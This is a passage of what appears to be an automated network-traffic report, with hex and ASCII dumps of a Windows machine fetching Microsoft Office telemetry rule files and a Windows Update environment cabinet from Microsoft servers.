2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-30 05:16:56 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:57 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:57 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051657Z-16849878b787wpl5wqkt5731b4000000089000000000fb1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:57 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:57 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:57 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:57 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c4ab37c7-901e-002a-3417-267a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051657Z-15b8d89586fqj7k5h9gbd8vs9800000008u00000000037ze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:57 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:57 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:57 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:57 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051657Z-15b8d89586fvpb59307bn2rcac00000002p0000000009e7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:57 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:57 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:57 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:57 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 11ae3112-301e-005d-596b-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051657Z-16849878b78qg9mlz11wgn0wcc000000075g000000008nc6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:57 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:58 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:57 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5d69bbb7-d01e-008e-6d6a-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051657Z-17c5cb586f69w69mgazyf263an00000006w0000000001dry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:58 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49768	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gx+4pGbfeS8V37r&MD=+Lbp86L5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 05:16:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: e1fc0e47-f858-464e-918d-93d432809571 MS-RequestId: 5e381c32-28b5-4dda-9620-39fa2559f685 MS-CV: 5MVPNusw6EWbE4O5.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 05:16:57 GMT Connection: close Content-Length: 30005
2024-10-30 05:16:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-30 05:16:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft 